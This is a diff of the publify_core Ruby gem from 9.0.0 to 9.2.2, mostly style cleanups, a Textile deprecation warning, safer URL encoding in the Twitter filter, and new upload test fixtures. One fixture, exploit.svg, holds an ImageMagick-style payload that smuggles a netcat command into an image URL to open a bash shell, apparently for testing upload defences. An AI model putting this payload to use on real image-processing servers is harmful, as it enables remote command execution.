publify_core 9.0.0 → 9.2.2

data/lib/publify_core/testing_support/fixtures/exploit.svg

@@ -0,0 +1,4 @@
+push graphic-context
+viewbox 0 0 640 480
+image over 0,0 0,0 'https://trololo.com" || nc -nv 127.0.0.1 8081 -e /bin/bash"'
+pop graphic-context

data/lib/publify_core/testing_support/fixtures/fakepng.png

@@ -0,0 +1 @@
+This is not really a PNG

data/lib/publify_core/testing_support/fixtures/otherfile.txt

@@ -0,0 +1 @@
+fifi

data/lib/publify_core/testing_support/fixtures/testfile.txt

@@ -0,0 +1 @@
+pipo

data/lib/publify_core/testing_support/upload_fixtures.rb

@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module PublifyCore
+  module TestingSupport
+    module UploadFixtures
+      module_function
+
+      # Provide file upload helper for all specs
+      def file_upload(file = "testfile.txt", mime_type = "text/plain")
+        Rack::Test::UploadedFile.new(File.join(__dir__, "fixtures", file),
+                                     mime_type)
+      end
+    end
+  end
+end

data/lib/publify_core/version.rb

@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module PublifyCore
-  VERSION = '9.0.0'
+  VERSION = "9.2.2"
 end

data/lib/publify_guid.rb

@@ -1,4 +1,6 @@
-require 'uuidtools'
+# frozen_string_literal: true
+
+require "uuidtools"
 
 module PublifyGuid
   def create_guid

data/lib/publify_plugins.rb

@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 module PublifyPlugins
   # Deprecated?
   def plugin_public_action(action)
@@ -20,7 +22,9 @@ module PublifyPlugins
     eval "def self.display_name; '#{name}'; end"
   end
 
-  unless defined?(Keeper) # Something in rails double require this module. Prevent that to keep @@registered integrity
+  # FIXME: Something in rails double require this module. Prevent that to keep
+  # @@registered integrity
+  unless defined?(Keeper)
     class Keeper
       KINDS = [:avatar, :textfilter].freeze
       @@registered = {}
@@ -28,6 +32,7 @@ module PublifyPlugins
       class << self
         def available_plugins(kind = nil)
           return @@registered.inspect unless kind
+
           check_kind(kind)
           @@registered[kind] || []
         end
@@ -45,7 +50,7 @@ module PublifyPlugins
         def check_kind(kind)
           unless KINDS.include?(kind)
             raise ArgumentError,
-                  "#{kind} is not part of available plugin targets (#{KINDS.join(',')})"
+                  "#{kind} is not part of available plugin targets (#{KINDS.join(",")})"
           end
         end
       end
@@ -53,15 +58,15 @@ module PublifyPlugins
       private
 
       def initialize
-        raise 'No instance allowed.'
+        raise "No instance allowed."
       end
     end
   end # Defined
 
   class Base
     class << self
-      attr_accessor :name
-      attr_accessor :description
+      attr_accessor :name, :description
+
       attr_reader :registered
 
       def kind

data/lib/publify_textfilter_markdown.rb

@@ -1,42 +1,55 @@
-require 'text_filter_plugin'
-require 'bluecloth'
+# frozen_string_literal: true
+
+require "text_filter_plugin"
+require "bluecloth"
 
 # TODO: Move to a different namespace
 class PublifyApp
   class Textfilter
     class Markdown < TextFilterPlugin::Markup
-      plugin_display_name 'Markdown'
-      plugin_description 'Markdown markup language from <a href="http://daringfireball.com/">Daring Fireball</a>'
+      plugin_display_name "Markdown"
+      plugin_description "Markdown markup language from" \
+        ' <a href="http://daringfireball.com/">Daring Fireball</a>'
 
       def self.help_text
-        %{
-[Markdown](http://daringfireball.net/projects/markdown/) is a simple text-to-HTML converter that
-turns common text idioms into HTML.  The [full syntax](http://daringfireball.net/projects/markdown/syntax)
-is available from the author's site, but here's a short summary:
-
-* **Paragraphs**: Start a new paragraph by skipping a line.
-* **Italics**: Put text in *italics* by enclosing it in either \* or \_: `*italics*` turns into *italics*.
-* **Bold**: Put text in **bold** by enclosing it in two \*s: `**bold**` turns into **bold**.
-* **Pre-formatted text**: Enclosing a short block of text in backquotes (&#96;) displays it in a monospaced font
-  and converts HTML metacharacters so they display correctly.  Example: &#96;`<img src="foo"/>`&#96; displays as `<img src="foo"/>`.
-  Also, any paragraph indented 4 or more spaces is treated as pre-formatted text.
-* **Block quotes**: Any paragraph (or line) that starts with a `>` is treated as a blockquote.
-* **Hyperlinks**: You can create links like this: `[amazon's web site](http://www.amazon.com)`.  That produces
-  "[amazon's web site](http://www.amazon.com)".
-* **Lists**: You can create numbered or bulleted lists by ending a paragraph with a colon (:), skipping a line, and then using
-  asterisks (*, for bullets) or numbers (for numbered lists).  See the
-  [Markdown syntax page](http://daringfireball.net/projects/markdown/syntax) for examples.
-* **Raw HTML**: Markdown will pass raw HTML through unchanged, so you can use HTML's syntax whenever Markdown doesn't provide
-  a reasonable alternative.
+        <<~TXT
+          [Markdown](http://daringfireball.net/projects/markdown/) is a simple
+          text-to-HTML converter that turns common text idioms into HTML.  The
+          [full syntax](http://daringfireball.net/projects/markdown/syntax) is
+          available from the author's site, but here's a short summary:
 
-        }
+          * **Paragraphs**: Start a new paragraph by skipping a line.
+          * **Italics**: Put text in *italics* by enclosing it in either \* or
+            \_: `*italics*` turns into *italics*.
+          * **Bold**: Put text in **bold** by enclosing it in two \*s:
+            `**bold**` turns into **bold**.
+          * **Pre-formatted text**: Enclosing a short block of text in
+            backquotes (&#96;) displays it in a monospaced font and converts HTML
+            metacharacters so they display correctly.  Example:
+            &#96;`<img src="foo"/>`&#96; displays as `<img src="foo"/>`. Also,
+            any paragraph indented 4 or more spaces is treated as pre-formatted
+            text.
+          * **Block quotes**: Any paragraph (or line) that starts with a `>` is
+            treated as a blockquote.
+          * **Hyperlinks**: You can create links like this:
+            `[amazon's web site](http://www.amazon.com)`. That produces
+            "[amazon's web site](http://www.amazon.com)".
+          * **Lists**: You can create numbered or bulleted lists by ending a
+            paragraph with a colon (:), skipping a line, and then using asterisks
+            (*, for bullets) or numbers (for numbered lists).  See the
+            [Markdown syntax page](http://daringfireball.net/projects/markdown/syntax)
+            for examples.
+          * **Raw HTML**: Markdown will pass raw HTML through unchanged, so you
+            can use HTML's syntax whenever Markdown doesn't provide a reasonable
+            alternative.
+        TXT
       end
 
       def self.filtertext(text)
         # FIXME: Workaround for BlueCloth not interpreting <publify:foo> as an
         # HTML tag. See <http://deveiate.org/projects/BlueCloth/ticket/70>.
         escaped_macros = text.gsub(%r{(</?publify):}, '\1X')
-        html = BlueCloth.new(escaped_macros).to_html.gsub(%r{</?notextile>}, '')
+        html = BlueCloth.new(escaped_macros).to_html.gsub(%r{</?notextile>}, "")
         html.gsub(%r{(</?publify)X}, '\1:')
       end
     end

data/lib/publify_textfilter_none.rb

@@ -1,10 +1,12 @@
-require 'text_filter_plugin'
+# frozen_string_literal: true
+
+require "text_filter_plugin"
 
 class PublifyApp
   class Textfilter
     class None < TextFilterPlugin::Markup
-      plugin_display_name 'None'
-      plugin_description 'Raw HTML only'
+      plugin_display_name "None"
+      plugin_description "Raw HTML only"
 
       def self.filtertext(text)
         text

data/lib/publify_textfilter_smartypants.rb

@@ -1,10 +1,12 @@
-require 'rubypants'
+# frozen_string_literal: true
+
+require "rubypants"
 
 class PublifyApp
   class Textfilter
     class Smartypants < TextFilterPlugin::PostProcess
-      plugin_display_name 'Smartypants'
-      plugin_description 'Converts HTML to use typographically correct quotes and dashes'
+      plugin_display_name "Smartypants"
+      plugin_description "Converts HTML to use typographically correct quotes and dashes"
 
       def self.filtertext(text)
         RubyPants.new(text).to_html

data/lib/publify_textfilter_textile.rb

@@ -1,11 +1,13 @@
-require 'text_filter_plugin'
-require 'RedCloth'
+# frozen_string_literal: true
+
+require "text_filter_plugin"
+require "RedCloth"
 
 class PublifyApp
   class Textfilter
     class Textile < TextFilterPlugin::Markup
-      plugin_display_name 'Textile'
-      plugin_description 'Textile markup language'
+      plugin_display_name "Textile (Deprecated)"
+      plugin_description "Textile markup language"
 
       def self.help_text
         %{
@@ -14,6 +16,7 @@ See [_why's Textile reference](http://hobix.com/textile/).
       end
 
       def self.filtertext(text)
+        ActiveSupport::Deprecation.warn "Use of Textile is deprecated"
         RedCloth.new(text).to_html(:textile)
       end
     end

data/lib/publify_textfilter_twitterfilter.rb

@@ -1,10 +1,12 @@
-require 'text_filter_plugin'
+# frozen_string_literal: true
+
+require "text_filter_plugin"
 
 class PublifyApp
   class Textfilter
     class Twitterfilter < TextFilterPlugin::PostProcess
-      plugin_display_name 'HTML Filter'
-      plugin_description 'Strip HTML tags'
+      plugin_display_name "HTML Filter"
+      plugin_description "Strip HTML tags"
 
       def self.filtertext(text)
         # First, autolink
@@ -16,14 +18,18 @@ class PublifyApp
         # hashtags
         text.split.grep(/^#\w+/) do |item|
           # strip_html because Ruby considers "#prouddad</p>" as a word
-          uri = URI.escape("https://twitter.com/search?q=#{item.strip_html}&src=tren&mode=realtime")
-          text = text.gsub(item, "<a href='#{uri}'>#{item.strip_html}</a>")
+          item = item.strip_html
+          search_item = URI.encode_www_form_component(item)
+
+          uri = "https://twitter.com/search?q=#{search_item}&src=tren&mode=realtime"
+          text = text.gsub(item, "<a href='#{uri}'>#{item}</a>")
         end
 
         # @mention
         text.to_s.split.grep(/@\w+/) do |item|
-          uri = URI.escape("https://twitter.com/#{item.strip_html.delete('@')}")
-          text = text.gsub(item, "<a href='#{uri}'>#{item.strip_html}</a>")
+          item = item.strip_html
+          uri = html_escape("https://twitter.com/#{item.delete("@")}")
+          text = text.gsub(item, "<a href='#{uri}'>#{item}</a>")
         end
 
         text

data/lib/publify_time.rb

@@ -1,10 +1,14 @@
+# frozen_string_literal: true
+
 class PublifyTime
   def self.delta(year = nil, month = nil, day = nil)
     return nil if year.nil? && month.nil? && day.nil?
+
     year = year.to_i unless year.nil?
     month = month.to_i unless month.nil?
     day = day.to_i unless day.nil?
     return nil if year.zero?
+
     from = Time.zone.local(year, month, day)
     to = from.end_of_year
     to = from.end_of_month if month.present?

data/lib/sidebar_field.rb

@@ -1,7 +1,8 @@
+# frozen_string_literal: true
+
 class SidebarField
-  attr_accessor :key
-  attr_accessor :options
-  attr_accessor :default
+  attr_accessor :key, :options, :default
+
   include ActionView::Helpers::TagHelper
   include ActionView::Helpers::FormTagHelper
   include ActionView::Helpers::FormOptionsHelper
@@ -13,19 +14,19 @@ class SidebarField
   end
 
   def label
-    options[:label] || key.humanize.gsub(/url/i, 'URL')
+    options[:label] || key.humanize.gsub(/url/i, "URL")
   end
 
   def label_html(_sidebar)
-    content_tag('label', label)
+    tag.label(label)
   end
 
   def input_html(sidebar)
-    text_field_tag(input_name(sidebar), current_value(sidebar), class: 'form-control')
+    text_field_tag(input_name(sidebar), current_value(sidebar), class: "form-control")
   end
 
   def line_html(sidebar)
-    content_tag(:div, label_html(sidebar) + input_html(sidebar), class: 'form-group')
+    tag.div(label_html(sidebar) + input_html(sidebar), class: "form-group")
   end
 
   def input_name(sidebar)
@@ -50,7 +51,8 @@ class SidebarField
 
   class TextAreaField < self
     def input_html(sidebar)
-      html_options = { 'rows' => '10', 'class' => 'form-control' }.update(options.stringify_keys)
+      html_options = { "rows" => "10", "class" => "form-control" }.
+        update(options.stringify_keys)
       text_area_tag(input_name(sidebar), current_value(sidebar), html_options)
     end
   end
@@ -63,7 +65,7 @@ class SidebarField
                                         value,
                                         value == current_value(sidebar),
                                         options)
-        content_tag('div', content_tag('label', radio_button + label_for(choice)), class: 'radio')
+        tag.div(tag.label(radio_button + label_for(choice)), class: "radio")
       end
       safe_join(choices)
     end
@@ -80,14 +82,14 @@ class SidebarField
   class CheckBoxField < self
     def line_html(sidebar)
       content = hidden_field_tag(input_name(sidebar), 0) +
-        content_tag('label',
-                    check_box_tag(input_name(sidebar), 1, current_value(sidebar), options) + label)
-      content_tag('div', content, class: 'checkbox')
+        tag.label(check_box_tag(input_name(sidebar), 1,
+                                current_value(sidebar), options) + label)
+      tag.div(content, class: "checkbox")
     end
 
     def canonicalize(value)
       case value
-      when '0'
+      when "0"
         false
       else
         true

data/lib/sidebar_registry.rb

@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class SidebarRegistry
   class << self
     def register_sidebar(klass_name)
@@ -13,14 +15,14 @@ class SidebarRegistry
     end
 
     def register_sidebar_directory(plugins_root, paths)
-      separator = plugins_root.include?('/') ? '/' : '\\'
+      separator = plugins_root.include?("/") ? "/" : '\\'
 
-      Dir.glob(File.join(plugins_root, '*_sidebar')).select do |file|
+      Dir.glob(File.join(plugins_root, "*_sidebar")).select do |file|
         plugin_name = file.split(separator).last
         register_sidebar plugin_name.classify
         # TODO: Move Sidebars to app/models, and views to app/views so this can
         # be simplified.
-        paths << File.join(plugins_root, plugin_name, 'lib')
+        paths << File.join(plugins_root, plugin_name, "lib")
       end
     end
 

data/lib/spam_protection.rb

@@ -1,8 +1,10 @@
-require 'format'
+# frozen_string_literal: true
+
+require "format"
 
 class SpamProtection
-  IP_RBLS = ['opm.blitzed.us', 'bsb.empty.us'].freeze
-  HOST_RBLS = ['multi.surbl.org', 'bsb.empty.us'].freeze
+  IP_RBLS = ["opm.blitzed.us", "bsb.empty.us"].freeze
+  HOST_RBLS = ["multi.surbl.org", "bsb.empty.us"].freeze
   SECOND_LEVEL = %w(co com net org gov).freeze
 
   attr_accessor :this_blog
@@ -25,7 +27,7 @@ class SpamProtection
 
     if reason
       logger.info("[SP] Hit: #{reason}")
-      return true
+      true
     end
   end
 
@@ -33,11 +35,12 @@ class SpamProtection
 
   def scan_ip(ip_address)
     logger.info("[SP] Scanning IP #{ip_address}")
-    query_rbls(IP_RBLS, ip_address.split('.').reverse.join('.'))
+    query_rbls(IP_RBLS, ip_address.split(".").reverse.join("."))
   end
 
   def scan_text(string)
-    uri_list = string.scan(/(http:\/\/[^\s"]+)/m).flatten
+    # FIXME: Unify HTTP URI matchers
+    uri_list = string.scan(%r{(http://[^\s"]+)}m).flatten
 
     check_uri_count(uri_list)
     scan_uris(uri_list)
@@ -48,9 +51,8 @@ class SpamProtection
   def check_uri_count(uris)
     limit = this_blog.sp_url_limit
     return if limit.to_i.zero?
-    if uris.size > limit
-      throw :hit, "Hard URL Limit hit: #{uris.size} > #{limit}"
-    end
+
+    throw :hit, "Hard URL Limit hit: #{uris.size} > #{limit}" if uris.size > limit
   end
 
   def scan_uris(uris = [])
@@ -60,9 +62,9 @@ class SpamProtection
              rescue URI::InvalidURIError
                next
              end
-      return scan_ip(host) if host =~ Format::IP_ADDRESS
+      return scan_ip(host) if Format::IP_ADDRESS.match?(host)
 
-      host_parts = host.split('.').reverse
+      host_parts = host.split(".").reverse
       domain = []
 
       # Check for two level TLD
@@ -70,9 +72,9 @@ class SpamProtection
         domain.unshift(host_parts.shift)
       end
 
-      logger.info("[SP] Scanning domain #{domain.join('.')}")
-      query_rbls(HOST_RBLS, host, domain.join('.'))
-      logger.info("[SP] Finished domain scan #{domain.join('.')}")
+      logger.info("[SP] Scanning domain #{domain.join(".")}")
+      query_rbls(HOST_RBLS, host, domain.join("."))
+      logger.info("[SP] Finished domain scan #{domain.join(".")}")
       return false
     end
   end
@@ -81,8 +83,8 @@ class SpamProtection
     rbls.each do |rbl|
       subdomains.uniq.each do |d|
         begin
-          response = IPSocket.getaddress([d, rbl].join('.'))
-          if response =~ /^127\.0\.0\./
+          response = IPSocket.getaddress([d, rbl].join("."))
+          if response.start_with?("127.0.0.")
             throw :hit,
                   "#{rbl} positively resolved subdomain #{d} => #{response}"
           end
@@ -96,6 +98,6 @@ class SpamProtection
   end
 
   def logger
-    @logger ||= ::Rails.logger || Logger.new(STDOUT)
+    @logger ||= ::Rails.logger || Logger.new($stdout)
   end
 end